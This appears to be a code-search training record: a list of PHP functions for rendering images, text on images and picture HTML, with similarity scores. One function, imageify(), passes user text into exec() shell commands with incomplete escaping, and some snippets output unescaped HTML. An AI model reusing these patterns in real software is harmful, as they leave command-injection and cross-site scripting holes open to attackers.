"public function getPictureTypeText($pict)\n {\n $type=\"\";$typeid=\"\";$typeText=\"\";\n if (isset($pict[\"personID\"])) {\n $type = \"person\";\n $typeid = $pict[$type . \"ID\"];\n $picturePerson = $this->getPersonByID($typeid);\n $typeText = '<a href=\"editPerson?tabOpen=pictures&uid=' . $typeid .'\"><i style=\"vertical-align: bottom\" class=\"material-icons\">photo_camera</i> Személyes kép:'. getPersonName($picturePerson).'</a>';\n }\n elseif (isset($pict[\"classID\"])) {\n $type = \"class\";\n $typeid = $pict[$type . \"ID\"];\n $class = $this->getClassById($typeid);\n $typeText = '<a href=\"picture?type=classID&typeid='.$typeid.'\"><i style=\"vertical-align: bottom\" class=\"material-icons\">photo_camera</i> Osztálykép:' . $class[\"text\"].'</a>';\n } elseif (isset($pict[\"schoolID\"])) {\n $type = \"school\";\n $typeid = $pict[$type . \"ID\"];\n $school = $this->getSchoolById($typeid);\n $typeText = '<a href=\"picture?type=schoolID&typeid='.$typeid.'\"><i style=\"vertical-align: bottom\" class=\"material-icons\">photo_camera</i> Iskolakép:' . html_entity_decode($school[\"name\"]).'</a>';\n }\n return array(\"type\"=>$type,\"typeId\"=>$typeid,\"text\"=>$typeText);\n }",
"private static function createCustomImage(Slide $slide, $params = array())\n {\n $height = Helper::hasArrayProperty('height', $params) ? $params['height'] : self::TEXT_HEIGHT;\n $width = Helper::hasArrayProperty('width', $params) ? $params['width'] : self::TEXT_WIDTH;\n $offset_x = Helper::hasArrayProperty('ox', $params) ? $params['ox'] : self::TEXT_OFFSET_X;\n $offset_y = Helper::hasArrayProperty('oy', $params) ? $params['oy'] : self::TEXT_OFFSET_Y;\n $name = Helper::hasArrayProperty('name', $params) ? $params['name'] : '';\n $description = Helper::hasArrayProperty('decription', $params) ? $params['decription'] : '';\n $path = Helper::hasArrayProperty('path', $params) ? $params['path'] : '';\n\n $shape = new Drawing\\File();\n $shape->setName($name)->setDescription($description);\n\n $shape = new Drawing\\File();\n $shape->setName($name);\n $shape->setDescription($description);\n $shape->setPath($path);\n\n if(!empty($width) && !empty($height)){\n $shape->setWidthAndHeight($width, $height);\n }else{\n $shape->setHeight($height);\n }\n\n $shape->setOffsetX($offset_x);\n $shape->setOffsetY($offset_y);\n $slide->addShape($shape);\n }",
"protected function writeGifAndPng() {}",
"function print_photo_text($table) {\n\n\t$html = \"<div class=\\\"div_class\\\">\\n\";\n\t$html .= \"\\t<h3>\" . $table['titre'] . \"</h3>\\n\";\n\t$html .= \"\\t<div class=\\\"photo_text\\\">\\n\";\n\t$html .= \"\\t\\t<img src=\\\"Images/\" . $table['photo'] . \"\\\">\";\n\t$html .= \"\\t\\t<p>\" . $table['texte'] . \"</p>\\n\";\n\t$html .= \"\\t</div>\\n\";\n\t$html .= \"</div>\\n\";\n\n\treturn $html;\n}",
"function imagettfstroketext(&$image, $size, $angle, $x, $y, &$textcolor, &$strokecolor, $fontfile, $text, $px) {\n \n for($c1 = ($x-abs($px)); $c1 <= ($x+abs($px)); $c1++)\n for($c2 = ($y-abs($px)); $c2 <= ($y+abs($px)); $c2++)\n $bg = imagettftext($image, $size, $angle, $c1, $c2, $strokecolor, $fontfile, $text);\n \n return imagettftext($image, $size, $angle, $x, $y, $textcolor, $fontfile, $text);\n }",
"function\nwidget_fontiles ($image_url, $image_width, $image_height, $text, $file_cols = 16, $file_rows = 16)\n{\n $char_w = $image_width / $file_cols; \n $char_h = $image_height / $file_rows;\n\n $p = '';\n for ($i = 0; $i < strlen ($text); $i++)\n {\n $c = ord ($text[$i]);\n\n $left = $c % $file_cols;\n $left *= $char_w;\n\n $top = (int) ($c / $file_rows);\n $top *= $char_h;\n\n $right = $left + $char_w;\n $bottom = $top + $char_h;\n\n $pos_left = $i * $char_w - $left;\n $pos_top = 0 - $top; \n\n $p .= '<img src=\"'.$image_url.'\" style=\"'\n .'position:absolute;'\n .'clip:rect('.$top.'px,'.$right.'px,'.$bottom.'px,'.$left.'px);'\n .'top:'.$pos_top.'px;left:'.$pos_left.'px;'\n .'width:'.$image_width.';height:'.$image_height.';'\n .'\">'.\"\\n\";\n }\n\n return $p;\n}",
"function imageify($text){\n\t$text = str_replace('$', '\\$', $text);\n\t$text = str_replace('\"', '\\\"', $text);\n\n\t//select background image (31 to choose from)\n\t$background = \"images/\" . rand(1,31) . \".jpg\";\n\n\t//turn background image upside down\n\texec(\"convert $background -fill black -colorize 70% -rotate \\\"180\\\" background.jpg\");\n\n\t//create text with alpha background\n\t//(current size creates automatic 50px padding on all sides)\n\texec(\"convert -size 924x412 -background none -fill rgba\\(255,255,255,0.9\\) -font Helvetica-Bold -gravity West -interline-spacing 10 caption:\\\"$text\\\" -rotate \\\"180\\\" text.png\");\n\n\t//add them together\n\texec(\"composite -gravity center text.png background.jpg final.jpg\");\n\n\t//add the bug (Twitter handle) on top\n\texec(\"composite bug.png final.jpg final.jpg\");\n}",
"function renderGraph($myPicture, $fid, $frid, $labelElement, $dataElement, $operation, $graphOptions) {\n\t// TODO: make some kind of cron job clear up or some kind of caches, update graph only when needed!\n\t$grapRelativePathPrefix = \"modules/formulize/images/graphs/\";\n\t$graphRelativePath = $grapRelativePathPrefix . \"_\" . $fid . \"_\" . \"_\" . $frid . \"_\" . $labelElement . \"_\" . $dataElement . \"_\" . \"$operation\" . \"_\" . preg_replace('/[^\\w\\d]/', \"\", print_r($graphOptions, true)) . \".png\";\n\t$graphRelativePath = preg_replace('/\\s/', '_', $graphRelativePath);\n\t$myPicture -> render(XOOPS_ROOT_PATH . \"/\" . $graphRelativePath);\n\techo \"<img src='\" . XOOPS_URL . \"/$graphRelativePath' />\";\n\treturn;\n}",
"function create($filename=\"\")\n{\nif ($filename) {\n $this->src_image_name = trim($filename);\n}\n$dirname=explode(\"/\",$this->src_image_name);\nif(!file_exists(\"$dirname[0]/$dirname[1]/$dirname[2]/$dirname[3]/\")){\n\t@mkdir(\"$dirname[0]/$dirname[1]/$dirname[2]/$dirname[3]/\", 0755);\n}\nif(stristr(PHP_OS,\"WIN\")){\n\t$this->src_image_name = @iconv(\"utf-8\",\"GBK\",$this->src_image_name);\n\t$this->met_image_name = @iconv(\"utf-8\",\"GBK\",$this->met_image_name);\n}\n$src_image_type = $this->get_type($this->src_image_name);\n$src_image = $this->createImage($src_image_type,$this->src_image_name);\nif (!$src_image) return;\n$src_image_w=ImageSX($src_image);\n$src_image_h=ImageSY($src_image);\n\n\nif ($this->met_image_name){\n $this->met_image_name = strtolower(trim($this->met_image_name));\n $met_image_type = $this->get_type($this->met_image_name);\n $met_image = $this->createImage($met_image_type,$this->met_image_name);\n $met_image_w=ImageSX($met_image);\n $met_image_h=ImageSY($met_image);\n $temp_met_image = $this->getPos($src_image_w,$src_image_h,$this->met_image_pos,$met_image);\n $met_image_x = $temp_met_image[\"dest_x\"];\n $met_image_y = $temp_met_image[\"dest_y\"];\n\t if($this->get_type($this->met_image_name)=='png'){imagecopy($src_image,$met_image,$met_image_x,$met_image_y,0,0,$met_image_w,$met_image_h);}\n\t else{imagecopymerge($src_image,$met_image,$met_image_x,$met_image_y,0,0,$met_image_w,$met_image_h,$this->met_image_transition);}\n}\nif ($this->met_text){\n $temp_met_text = $this->getPos($src_image_w,$src_image_h,$this->met_text_pos);\n $met_text_x = $temp_met_text[\"dest_x\"];\n $met_text_y = $temp_met_text[\"dest_y\"];\n if(preg_match(\"/([a-f0-9][a-f0-9])([a-f0-9][a-f0-9])([a-f0-9][a-f0-9])/i\", $this->met_text_color, $color))\n {\n $red = hexdec($color[1]);\n $green = hexdec($color[2]);\n $blue = hexdec($color[3]);\n $met_text_color = imagecolorallocate($src_image, $red,$green,$blue);\n }else{\n $met_text_color = imagecolorallocate($src_image, 255,255,255);\n }\n imagettftext($src_image, $this->met_text_size, $this->met_text_angle, $met_text_x, $met_text_y, $met_text_color,$this->met_text_font, $this->met_text);\n}\nif(stristr(PHP_OS,\"WIN\")){\n\t$save_files=explode('/',$this->save_file);\n\t$save_files[count($save_files)-1]=@iconv(\"utf-8\",\"GBK\",$save_files[count($save_files)-1]);\n\t$this->save_file=implode('/',$save_files);\n}\nif ($this->save_file)\n{\n switch ($this->get_type($this->save_file)){\n case 'gif':$src_img=ImagePNG($src_image, $this->save_file); break;\n case 'jpeg':$src_img=ImageJPEG($src_image, $this->save_file, $this->jpeg_quality); break;\n case 'png':$src_img=ImagePNG($src_image, $this->save_file); break;\n default:$src_img=ImageJPEG($src_image, $this->save_file, $this->jpeg_quality); break;\n }\n}\nelse\n{\nif ($src_image_type = \"jpg\") $src_image_type=\"jpeg\";\n header(\"Content-type: image/{$src_image_type}\");\n switch ($src_image_type){\n case 'gif':$src_img=ImagePNG($src_image); break;\n case 'jpg':$src_img=ImageJPEG($src_image, \"\", $this->jpeg_quality);break;\n case 'png':$src_img=ImagePNG($src_image);break;\n default:$src_img=ImageJPEG($src_image, \"\", $this->jpeg_quality);break;\n }\n}\nimagedestroy($src_image);\n}",
"public function drawContent()\n\t\t{\n\t\t}",
"public function output()\r\n {\r\n // look for a cached version and use it if it exists\r\n $this->_checkCache();\r\n \r\n // build the path to the font file\r\n $font = $this->_config['paths']['font'] . \"/\" . $this->_font;\r\n \r\n // find the dimensions of the text being created\r\n list($height, $width, $offset) = $this->_calculateDimensions($font);\r\n \r\n // create an image with the dimensions of the text to be generated\r\n $im = imagecreatetruecolor($width, $height);\r\n \r\n // set colors\r\n $txt = imagecolorallocate(\r\n $im, hexdec(\r\n substr($this->_color,0,2)), \r\n hexdec(substr($this->_color,2,2)), \r\n hexdec(substr($this->_color,4,2)\r\n )\r\n );\r\n $bg = imagecolorallocate(\r\n $im, hexdec(\r\n substr($this->_backColor,0,2)), \r\n hexdec(substr($this->_backColor,2,2)), \r\n hexdec(substr($this->_backColor,4,2)\r\n )\r\n );\r\n \r\n // make background transparent if requested\r\n if ($this->_transparent) {\r\n imagecolortransparent($im, $bg);\r\n }\r\n \r\n // fill the image with the background color\r\n imagefilledrectangle($im, 0, 0, $width, $height, $bg);\r\n \r\n // write the text to the image\r\n imagettftext($im, $this->_size, 0, 0, $offset, $txt, $font, $this->_text);\r\n \r\n // generate image based on desired output type\r\n ob_start();\r\n \r\n switch ($this->_config['output']) {\r\n case 'png':\r\n header('Content-type: image/png');\r\n imagepng($im);\r\n break;\r\n case 'gif':\r\n header('Content-type: image/gif');\r\n imagegif($im);\r\n break;\r\n case 'jpg':\r\n header('Content-type: image/jpg');\r\n imagejpeg($im);\r\n break;\r\n }\r\n \r\n $buffer = ob_get_clean();\r\n imagedestroy($im);\r\n \r\n // save to the cache\r\n $this->_saveCache($buffer);\r\n \r\n // display the image\r\n echo $buffer;\r\n }",
"public function render(): string\n {\n $image_attributes = '';\n foreach ($this->attributes as $attribute => $value) {\n if (\n is_string($attribute) &&\n is_string($value) &&\n in_array($attribute, Settings::ignoredCustomAttributes()) === false\n ) {\n $image_attributes .= \"{$attribute}=\\\"{$value}\\\" \";\n }\n }\n return \"<img src=\\\"{$this->insert}\\\" {$image_attributes}/>\";\n }",
"function imagettfstroketext(&$image, $size, $angle, $x, $y, &$textcolor, &$strokecolor, $fontfile, $text, $px)\n{\n for($c1 = ($x-abs($px)); $c1 <= ($x+abs($px)); $c1++)\n for($c2 = ($y-abs($px)); $c2 <= ($y+abs($px)); $c2++)\n $bg = imagettftext($image, $size, $angle, $c1, $c2, $strokecolor, $fontfile, $text);\n\n return imagettftext($image, $size, $angle, $x, $y, $textcolor, $fontfile, $text);\n}",
"function display_image($picture){\n\tglobal $uploaddirectory;\nreturn $uploaddirectory . DS . $picture;\n\n}",
"public function getImage();",
"public function getImage();",
"public function getImage();",
"public function getImage();",
"private function draw_text($img, $text, $x, $c, $h) {\n\t\timagerectangle($img, $x, 0, $x, $h, $c);\n\t\tif ($x > 0) {\n\t\t\timagettftext($img, 8, 0, $x+2, 12, $c, \"./DejaVuSans.ttf\", $text);\n\t\t}\n\t}",
"public function displayImgTag() {\n $urlimg = \"/plugins/graphontrackers/reportgraphic.php?_jpg_csimd=1&group_id=\".(int)$this->graphic_report->getGroupId().\"&atid=\". $this->graphic_report->getAtid();\n $urlimg .= \"&report_graphic_id=\".$this->graphic_report->getId().\"&id=\".$this->getId();\n \n \n echo '<img src=\"'. $urlimg .'\" ismap usemap=\"#map'. $this->getId() .'\" ';\n if ($this->width) {\n echo ' width=\"'. $this->width .'\" ';\n }\n if ($this->height) {\n echo ' height=\"'. $this->height .'\" ';\n }\n echo ' alt=\"'. $this->title .'\" border=\"0\">';\n }",
"function generate_line_diagramm($filename,$text,$data) {\n\n\t$y_max = 70 + sizeof($data) * 40;\n\n\t$image = imagecreatetruecolor(600,$y_max);\n\timagecolorallocate ($image, 255, 255, 255);\n\n\t// Colours\n\t$colours[\"black\"] = imagecolorallocate ($image, 0, 0, 0);\n\t$colours[\"grey\"] = imagecolorallocate($image,193,193,193);\n\t$colours[\"red\"] = imagecolorallocate($image,255,0,0);\n\t$colours[\"blue\"] = imagecolorallocate($image,202,218,249); \n\t$colours[\"white\"] = imagecolorallocate($image,255,255,255); \n\t\n\n\t// Texts\n\timagettftext($image, \"10\",\"0\",\"150\",\"10\",\"255\",\"{$GLOBALS[\"config\"][\"environment\"][\"dir\"]}/ext_inc/fonts/arial.ttf\",$text[\"top\"]);\n\timagettftext($image, \"10\",\"90\",\"10\",$y_max/2,\"255\",\"{$GLOBALS[\"config\"][\"environment\"][\"dir\"]}/ext_inc/fonts/arial.ttf\",$text[\"left\"]);\n\timagettftext($image, \"10\",\"270\",\"590\",$y_max/2,\"255\",\"{$GLOBALS[\"config\"][\"environment\"][\"dir\"]}/ext_inc/fonts/arial.ttf\",$text[\"right\"]);\n\timagettftext($image, \"10\",\"0\",\"300\",$y_max - 10,\"255\",\"{$GLOBALS[\"config\"][\"environment\"][\"dir\"]}/ext_inc/fonts/arial.ttf\",$text[\"buttom\"]);\n\n\n\t// Background for middle\n\t$date = date(\"Y-m-d H:i\");\n\t\n\timagefilledrectangle($image, 22,22,580,$y_max-30, $colours[\"grey\"]); \n\timagerectangle($image,22,22,580,$y_max-30,$colours[\"black\"]);\n\timagettftext($image, \"8\",\"0\",\"400\",$y_max - 35,\"255\",\"{$GLOBALS[\"config\"][\"environment\"][\"dir\"]}/ext_inc/fonts/arial.ttf\",\"$date | lansuite 2.0 Chart\");\n\n\n\t\n\tforeach($data AS $these_data) {\n\t\n\t$overall_count = $overall_count + $these_data[\"count\"];\n\t\n\t}\n\t\n\tforeach($data AS $draw_this_line) {\n\t\n\t$x1 = 30;\n\t$y1 = $y1+40;\n\t$x2 = $x1 + (540*($draw_this_line[\"count\"]/$overall_count));\n\t$y2 = $y1 + 20;\n\t\n\t$red_value = 255 * round(($draw_this_line[\"count\"])/$overall_count,1);\n\t\n\t\n\t\n\t$myred = imagecolorallocate($image,255,$red_value,$red_value);\n\t\n\timagefilledrectangle($image,$x1 ,$y1,$x2,$y2, $myred); \n\timagerectangle($image,$x1,$y1,$x2,$y2,$colours[\"black\"]);\n\t\n\t$line_text = $draw_this_line[\"name\"] . \" (\" . round(100*(($draw_this_line[\"count\"]/$overall_count)),2) . \" %)\";\n\t\n\t\n\t\n\timagettftext($image, \"10\",\"0\",$x1 + 3 ,$y1 + 14,250,\"{$GLOBALS[\"config\"][\"environment\"][\"dir\"]}/ext_inc/fonts/arial.ttf\",$line_text);\n\t\t\t\t\t\t\n\t\n\t}\n\n\timagepng($image,$filename,\"100\");\n\n}",
"public function graphic()\n {\n return \"dice-\" . $this->getLastRoll();\n }",
"function imagettfstroketext($image, $size, $angle, $x, $y, $textcolor, $strokecolor, $fontfile, $text, $px) {\n\t\tfor ($c1 = ($x-abs($px)); $c1 <= ($x+abs($px)); $c1++)\n\t\t\tfor ($c2 = ($y-abs($px)); $c2 <= ($y+abs($px)); $c2++)\n\t\t\t\t$bg = imagettftext($image, $size, $angle, $c1, $c2, $strokecolor, $fontfile, $text);\n\t\treturn imagettftext($image, $size, $angle, $x, $y, $textcolor, $fontfile, $text);\n\t}",
"function getImage();",
"public function display()\n {\n header(\"Content-Type: image/png; name=\\\"barcode.png\\\"\");\n imagepng($this->_image);\n }",
"function drawBorder(&$img, &$color, $thickness = 1) \n{\n $x1 = 0; \n $y1 = 0; \n $x2 = ImageSX($img) - 1; \n $y2 = ImageSY($img) - 1; \n\n for($i = 0; $i < $thickness; $i++) \n { \n ImageRectangle($img, $x1++, $y1++, $x2--, $y2--, $color); \n } \n}",
"function display_image($picture) {\n return \"uploads\" . DS . $picture;\n}",
"public static function draw(): string\n {\n $output = array();\n\n if (!empty(self::$toLoad[self::TYPE_CSS])) {\n foreach (self::$toLoad[self::TYPE_CSS] as $file) {\n $output[] = '<link rel=\"stylesheet\" type=\"text/css\" href=\"' . $file . '\" />';\n }\n }\n if (!empty(self::$toLoad[self::TYPE_JS])) {\n foreach (self::$toLoad[self::TYPE_JS] as $file) {\n $output[] = '<script type=\"text/javascript\" src=\"' . $file . '\" ></script>';\n }\n }\n\n return implode(PHP_EOL, $output);\n }",
"public function drawFromPicture($PicType, $FileName, $X, $Y)\n {\n $X = (int) $X;\n $Y = (int) $Y;\n\n if (file_exists($FileName)) {\n list($Width, $Height) = $this->getPicInfo($FileName);\n\n if ($PicType == 1) {\n $Raster = imagecreatefrompng($FileName);\n } elseif ($PicType == 2) {\n $Raster = imagecreatefromgif($FileName);\n } elseif ($PicType == 3) {\n $Raster = imagecreatefromjpeg($FileName);\n } else {\n return 0;\n }\n\n $RestoreShadow = $this->Shadow;\n if ($this->Shadow && $this->ShadowX != 0 && $this->ShadowY != 0) {\n $this->Shadow = false;\n if ($PicType == 3) {\n $this->drawFilledRectangle(\n $X + $this->ShadowX,\n $Y + $this->ShadowY,\n $X + $Width + $this->ShadowX,\n $Y + $Height + $this->ShadowY,\n [\n \"R\" => $this->ShadowR,\n \"G\" => $this->ShadowG,\n \"B\" => $this->ShadowB,\n \"Alpha\" => $this->Shadowa\n ]\n );\n } else {\n $TranparentID = imagecolortransparent($Raster);\n for ($Xc = 0; $Xc <= $Width - 1; $Xc++) {\n for ($Yc = 0; $Yc <= $Height - 1; $Yc++) {\n $RGBa = imagecolorat($Raster, $Xc, $Yc);\n $Values = imagecolorsforindex($Raster, $RGBa);\n if ($Values[\"alpha\"] < 120) {\n $AlphaFactor = floor(\n ($this->Shadowa / 100) * ((100 / 127) * (127 - $Values[\"alpha\"]))\n );\n $this->drawAlphaPixel(\n $X + $Xc + $this->ShadowX,\n $Y + $Yc + $this->ShadowY,\n $AlphaFactor,\n $this->ShadowR,\n $this->ShadowG,\n $this->ShadowB\n );\n }\n }\n }\n }\n }\n $this->Shadow = $RestoreShadow;\n\n imagecopy($this->Picture, $Raster, $X, $Y, 0, 0, $Width, $Height);\n imagedestroy($Raster);\n }\n }",
"public function picture() {\n $picture = $this->_model->getPicture(explode(\"/\", $this->_url)[1]);\n if ($picture === null) {\n $this->redirect(\"/index\");\n }\n $this->render(\"General.Picture\", compact('picture'));\n }"
]
| [
"0.72831357",
"0.63455963",
"0.6182956",
"0.61318123",
"0.60324067",
"0.5986027",
"0.59518796",
"0.5951419",
"0.59380585",
"0.59002715",
"0.58504456",
"0.58241487",
"0.5795196",
"0.57769626",
"0.5776634",
"0.57243866",
"0.5711696",
"0.569506",
"0.56756234",
"0.56585765",
"0.5628453",
"0.5623365",
"0.561552",
"0.5607299",
"0.5603204",
"0.5564091",
"0.55586374",
"0.55476356",
"0.5530056",
"0.5523916",
"0.5518462",
"0.5510628",
"0.5504694",
"0.54937506",
"0.54891706",
"0.5481557",
"0.54486215",
"0.5424914",
"0.5424727",
"0.5417581",
"0.5408315",
"0.5401395",
"0.53903675",
"0.53892547",
"0.5376977",
"0.5373795",
"0.5373795",
"0.5371703",
"0.536937",
"0.53627145",
"0.5354658",
"0.5345353",
"0.5340285",
"0.5336477",
"0.53364134",
"0.5317546",
"0.5315902",
"0.5311979",
"0.5311056",
"0.53032243",
"0.52888733",
"0.52888733",
"0.5281455",
"0.52775097",
"0.527399",
"0.5273966",
"0.5271894",
"0.52523273",
"0.52473587",
"0.52392423",
"0.5238829",
"0.5233353",
"0.522987",
"0.52296597",
"0.5223383",
"0.52211803",
"0.52044183",
"0.5202625",
"0.51999974",
"0.519761",
"0.51939845",
"0.5193634",
"0.519062",
"0.51903373",
"0.5179892",
"0.5179114",
"0.5179114",
"0.5179114",
"0.5179114",
"0.5178148",
"0.5176849",
"0.5175671",
"0.51738137",
"0.51702845",
"0.5169247",
"0.51574606",
"0.5157282",
"0.5154602",
"0.51462954",
"0.5130191",
"0.512355"
]
| 0.0 | -1 |
end function GetSVGHeader Create the some parts of/whole picture and return as string | public function DrawPartsOfPicture($aNumberOfParts=9) {
$html = $this->GetSvgHeader();
switch ($aNumberOfParts) {
case 0:
return;
break;
case 1:
$html .= $this->GetKullen();
break;
case 2:
$html .= $this->GetKullen();
$html .= $this->GetStolpen();
break;
case 3:
$html .= $this->GetKullen();
$html .= $this->GetStolpen();
$html .= $this->GetRepet();
break;
case 4:
$html .= $this->GetKullen();
$html .= $this->GetStolpen();
$html .= $this->GetRepet();
$html .= $this->GetHuvud();
break;
case 5:
$html .= $this->GetKullen();
$html .= $this->GetStolpen();
$html .= $this->GetRepet();
$html .= $this->GetHuvud();
$html .= $this->GetKroppen();
break;
case 6:
$html .= $this->GetKullen();
$html .= $this->GetStolpen();
$html .= $this->GetRepet();
$html .= $this->GetHuvud();
$html .= $this->GetKroppen();
$html .= $this->GetHogerArm();
break;
case 7:
$html .= $this->GetKullen();
$html .= $this->GetStolpen();
$html .= $this->GetRepet();
$html .= $this->GetHuvud();
$html .= $this->GetKroppen();
$html .= $this->GetHogerArm();
$html .= $this->GetVansterArm();
break;
case 8:
$html .= $this->GetKullen();
$html .= $this->GetStolpen();
$html .= $this->GetRepet();
$html .= $this->GetHuvud();
$html .= $this->GetKroppen();
$html .= $this->GetHogerArm();
$html .= $this->GetVansterArm();
$html .= $this->GetHogerBen();
break;
case 9:
$html .= $this->GetKullen();
$html .= $this->GetStolpen();
$html .= $this->GetRepet();
$html .= $this->GetHuvud();
$html .= $this->GetKroppen();
$html .= $this->GetHogerArm();
$html .= $this->GetVansterArm();
$html .= $this->GetHogerBen();
$html .= $this->GetVansterBen();
break;
}//end switch
$html .= "</svg>";
return $html;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function GetSVGHeader() {\r\n\r\n $html = <<<EOD\r\n <svg \r\n xmlns=\"http://www.w3.org/2000/svg\" \r\n xmlns:xlink=\"http://www.w3.org/1999/xlink\" \r\n x=\"0px\" y=\"0px\" \r\n version=\"1.1\"\r\n width=\"250px\" \r\n height=\"235px\" \r\n viewBox=\"0 0 250 235\" \r\n enable-background=\"new 0 0 250 235\" \r\n xml:space=\"preserve\">\r\nEOD;\r\n return $html;\r\n }",
"function get_header_image()\n {\n }",
"function makeHeader(){\n\tglobal $pdf;\n\t\n\t// logo\n\t$pdf->Image('img/mepbro-pdf.png', 27, 27, 218);\n\t\n\t// title box\n\t$pdf->SetFillColor(51,102,255);\n\t$pdf->Rect(263, 27, 323, 72, 'F');\n\t// title lines\n\t$pdf->SetTextColor(255,255,255);\n\t$pdf->SetFont('Helvetica','B',34);\n\t$pdf->SetXY(263, 31);\n\t$pdf->Cell(323,36,'HOSE TEST', 0, 1, 'C');\n\t$pdf->SetXY(263, 64);\n\t$pdf->Cell(323,36,'CERTIFICATE', 0, 1, 'C');\n\t\n\treturn 126;\n\t\n}",
"public function DrawPicture() { \r\n\r\n $hogerarm = $this->GetHogerArm();\r\n $vansterarm = $this->GetVansterArm();\r\n $vansterben = $this->GetVansterBen();\r\n $hogerben = $this->GetHogerBen();\r\n $kroppen = $this->GetKroppen();\r\n $huvud = $this->GetHuvud();\r\n $repet = $this->GetRepet();\r\n $stolpen = $this->GetStolpen();\r\n $kullen = $this->GetKullen();\r\n $header = $this->GetSvgHeader();\r\n\r\n $html = <<<EOD\r\n {$header}\r\n {$kullen}\r\n {$stolpen}\r\n {$kroppen} \r\n {$hogerarm} \r\n {$vansterarm} \r\n {$vansterben} \r\n {$hogerben}\t\r\n {$repet} \t\t\r\n {$huvud}\r\n </svg>\r\nEOD;\r\n\r\n return $html;\r\n }",
"public function svg() {\n\t\t// Calcul des coordonnées des points.\n\t\t$this->computePoints();\n\t\t// Récupération des points.\n\t\t$A = $this->A;\n\t\t$B = $this->B;\n\t\t$C = $this->C;\n\t\t$D = $this->D;\n\t\t$H = $this->H;\n\t\t$E = $this->E;\n\t\t$G = $this->G;\n\t\t$F = $this->F;\n\t\t$I = $this->I;\n\t\t$J = $this->J;\n\t\t$K = $this->K;\n\t\t$J1 = $this->J1;\n\t\t$J2 = $this->J2;\n\t\t// Dessin au format SVG.\n\t\t$couleurV = $this->colorV;\n\t\t$couleurY = $this->colorY;\n\t\t$couleurGauche = $this->colorLeft;\n\t\t$couleurDroite = $this->colorRight;\n\t\t$svg = '<?xml version=\"1.0\" standalone=\"no\"?><!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">';\n\t\t$svg .= '<svg width=\"'.$this->xmax.'\" height=\"'.$this->ymax.'\" version=\"1.1\" xmlns=\"http://www.w3.org/2000/svg\">';\n\t\t$svg .= '<title>logo'.($this->name != \"\" ? '-'.$this->name : '').'</title>';\n\t\t// Intérieur gauche.\n\t\t$svg .= '<polygon points=\"'.$E.' '.$F.' '.$K.'\" style=\"fill:'.$couleurGauche.'; stroke:'.$couleurGauche.'; stroke-width:0.5; stroke-linejoin:miter; stroke-miterlimit:5;\"/>';\n\t\t// Intérieur droit.\n\t\t$svg .= '<polygon points=\"'.$G.' '.$H.' '.$I.'\" style=\"fill:'.$couleurDroite.'; stroke:'.$couleurDroite.'; stroke-width:0.5; stroke-linejoin:miter; stroke-miterlimit:5;\"/>';\n\t\t// Y.\n\t\t$svg .= '<polygon points=\"'.$A.' '.$B.' '.$C.' '.$H.' '.$G.' '.$J1.' '.$J2.' '.$F.' '.$E.'\" style=\"fill:'.$couleurY.'; stroke:black; stroke-width:0.5; stroke-linejoin:miter; stroke-miterlimit:5;\"/>';\n\t\t// V.\n\t\t$svg .= '<polygon points=\"'.$A.' '.$E.' '.$J.' '.$H.' '.$C.' '.$D.'\" style=\"fill:'.$couleurV.'; stroke:black; stroke-width:0.5; stroke-linejoin:miter; stroke-miterlimit:5;\"/>';\n\t\t$svg .= '</svg>';\n\t\treturn $svg;\n\t}",
"private function get_gif_header()\n {\n $this->p_forward(10);\n if ($this->readbits($mybyte = $this->readbyte_int(), 0, 1) === 1) {\n $this->p_forward(2);\n $this->p_forward(pow(2, $this->readbits($mybyte, 5, 3) + 1) * 3);\n } else {\n $this->p_forward(2);\n }\n\n $this->imageinfo['gifheader'] = $this->datapart(0, $this->pointer);\n if ($this->decoding) {\n $this->orgvars['gifheader'] = $this->imageinfo['gifheader'];\n $this->imgWidth = ord($this->orgvars['gifheader'][7]) * 256 + ord($this->orgvars['gifheader'][6]);\n $this->imgHeight = ord($this->orgvars['gifheader'][9]) * 256 + ord($this->orgvars['gifheader'][8]);\n $this->orgvars['background_color'] = $this->orgvars['gifheader'][11];\n }\n\n }",
"function get_svg($key) {\n\t$content = 'none';\n\t$file = get_stylesheet_directory().'/library/assets/svg/'.$key.'.svg';\n\tif(file_exists($file)) {\n\t\t$content = file_get_contents($file);\n\t}\n\treturn $content;\n}",
"function getImageStringFromFile($xpmfile) {\r\n $file = fopen($xpmfile,\"r\");\r\n $content = fread($file, filesize($xpmfile));\r\n // remove all \" and CR\r\n $content = str_replace(array(\"\\\"\",\"\\n\", \"\\r\"), \"\", $content);\r\n // find position of { and of } and substr between these 2\r\n $start = strpos($content, \"{\")+1; // to remove the {\r\n $stop = strpos($content, \"}\");\r\n $imgdescr = substr($content, $start, $stop - $start);\r\n // explode\r\n $xpm = explode(\",\", $imgdescr);\r\n \r\n //print_r($xpm);\r\n \r\n return getImageString($xpm);\r\n}",
"public function get_menu_icon() {\n\t\tob_start();\n\t\t?>\n\t\t<svg version=\"1.1\" id=\"Layer_1\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" x=\"0px\" y=\"0px\" viewBox=\"0 0 292 337.2\" style=\"enable-background:new 0 0 292 337.2;\" xml:space=\"preserve\">\n\t\t\t<style type=\"text/css\">\n\t\t\t\t.st0 {\n\t\t\t\t\tfill: #FFFFFF;\n\t\t\t\t}\n\t\t\t</style>\n\t\t\t<g id=\"Beehive\">\n\t\t\t\t<polygon class=\"st0\" points=\"125.4,153.4 177.1,201.3 183,195 145,121.7 \t\"/>\n\t\t\t\t<polygon class=\"st0\" points=\"81,112.3 106.5,135.9 147,70.2 201.6,175.6 290.2,83.2 146,0 0,84.3 0,204.1 \t\"/>\n\t\t\t\t<polygon class=\"st0\" points=\"292,170.4 292,116.8 213.9,199.2 224.6,220.1 \t\"/>\n\t\t\t\t<polygon class=\"st0\" points=\"215.8,258.2 195.3,218.8 178.2,236.9 111.8,175.4 47.1,280 146,337.2 292,252.9 292,201.5 \t\"/>\n\t\t\t\t<polygon class=\"st0\" points=\"93,158 82.8,148.7 0,242.2 0,252.9 25.5,267.6 \t\"/>\n\t\t\t</g>\n\t\t</svg>\n\t\t<?php\n\t\t$svg = ob_get_clean();\n\n\t\treturn 'data:image/svg+xml;base64,' . base64_encode( $svg );\n\t}",
